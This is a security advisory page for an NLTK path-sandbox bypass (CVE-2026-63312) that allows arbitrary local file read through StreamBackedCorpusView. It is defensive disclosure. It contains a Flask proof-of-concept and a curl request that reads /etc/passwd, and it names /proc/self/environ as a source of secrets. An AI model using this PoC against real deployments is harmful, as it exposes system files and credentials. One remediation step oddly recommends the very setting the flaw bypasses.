CVE-2026-63312: NLTK StreamBackedCorpusView Bypasses pathsec.ENFORCE Arbitrary File Read

Published Aug 22, 2026
·
Updated

Summary Setting nltk.pathsec.ENFORCE = True is documented to sandbox all file access to allowed NLTK data directories and raise PermissionError on unauthorized access. However, StreamBackedCorpusView opens files via builtins.open() directly, bypassing pathsec.validatepath() entirely. An attacker who can influence the fileid argument can read arbitrary local files regardless of the ENFORCE setting.

Details nltk/pathsec.py:274 defines the enforcement point: python def open(file, mode="r", kwargs): validatepath(file, context="pathsec.open") return builtins.open(file, mode=mode, kwargs)

StreamBackedCorpusView.open() in nltk/corpus/reader/util.py bypasses this entirely for string paths:

python line 171 — no validatepath() call self.eofpos = os.stat(self.fileid).stsize

line 208 — calls builtins.open directly self.stream = open(self.fileid, "rb")

Also affected: XMLCorpusView and any corpus reader subclass that passes a raw string fileid to StreamBackedCorpusView.

PoC python pocserver.py — StreamBackedCorpusView pathsec.ENFORCE bypass from flask import Flask, request, jsonify import nltk.pathsec as ps from nltk.corpus.reader.util import StreamBackedCorpusView, readlineblock

Strict mode enabled — expected to sandbox all file access ps.ENFORCE = True

app = Flask(name)

@app.post("/read") def readfile(): fname = request.json.get("file") # fileid is user-controlled, passed directly to StreamBackedCorpusView # pathsec.ENFORCE = True is ignored — builtins.open() called internally view = StreamBackedCorpusView(fname, readlineblock, encoding="utf8") return jsonify({"file": fname, "content": view[0]})

app.run(host="0.0.0.0", port=8000) Trigger: curl -s -X POST http://localhost:8000/read \ -H "Content-Type: application/json" \ -d '{"file": "/etc/passwd"}' Confirmed on latest stable NLTK. No privileges required.

Impact - Type: Arbitrary Local File Read / Security Control Bypass - CWE: CWE-22, CWE-284 - OWASP: A01:2021 – Broken Access Control

Affects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the fileid passed to NLTK corpus readers. Sensitive targets include /etc/passwd, /proc/self/environ (may contain AWSSECRETACCESSKEY, DATABASEURL, etc.), and application config files.

The core issue is that operators who explicitly set ENFORCE = True to harden production deployments are left with a false security guarantee.

Suggested fix: Replace builtins.open() and os.stat() in the string-path branch with nltk.pathsec.open() and nltk.pathsec.validatepath().

Other sources

NLTK before 3.10.0 contains an arbitrary local file read vulnerability in StreamBackedCorpusView that bypasses pathsec.ENFORCE by calling builtins.open() directly instead of pathsec.open(). Attackers who control the fileid argument can read arbitrary local files regardless of the ENFORCE setting, including sensitive system files and application credentials.

— MITRE

Affected Software

3 affected componentsFixes available
nltk StreamBackedCorpusView<3.10.0
nltk nltk<3.10.0
pip/nltk<=3.9.4
3.10.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/nltk to a version that resolves this vulnerability.

    Fixed in 3.10.0
  2. Upgrade

    Upgrade nltk to a version that resolves this vulnerability.

    Fixed in 3.10.0
  3. Configuration

    Ensure nltk.pathsec.ENFORCE is set to True in the application, because the described issue is a bypass of the enforcement point when StreamBackedCorpusView opens string paths directly.

    NLTK pathsec (nltk.pathsec) ENFORCE = True

Event History

Aug 22, 2026
CVE Published
via MITRE·02:12 PM
Data Sourced
via MITRE·02:12 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·03:16 PM
DescriptionSeverityWeaknessAffected Software
Sep 8, 2026
Advisory Published
via GitHub·03:27 PM
Data Sourced
via GitHub·03:27 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed?

Deployments using NLTK versions before 3.10.0 are exposed if an attacker can control the fileid argument passed to StreamBackedCorpusView. The issue is remotely exploitable without authentication or user interaction when that control is available through an exposed application path.

2

Does enabling pathsec.ENFORCE prevent exploitation?

No. The vulnerable code calls builtins.open() directly rather than pathsec.open(), so the pathsec.ENFORCE setting is bypassed.

3

What can an attacker obtain through this issue?

An attacker can read arbitrary local files accessible to the running application, including sensitive system files and application credentials. The provided data describes confidentiality impact only; it does not indicate integrity or availability impact.

4

What should be done if updating is not immediately possible?

Do not allow untrusted input to control the fileid argument used by StreamBackedCorpusView. Restrict file identifiers to an application-defined allowlist rather than accepting paths or path-like values from users.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203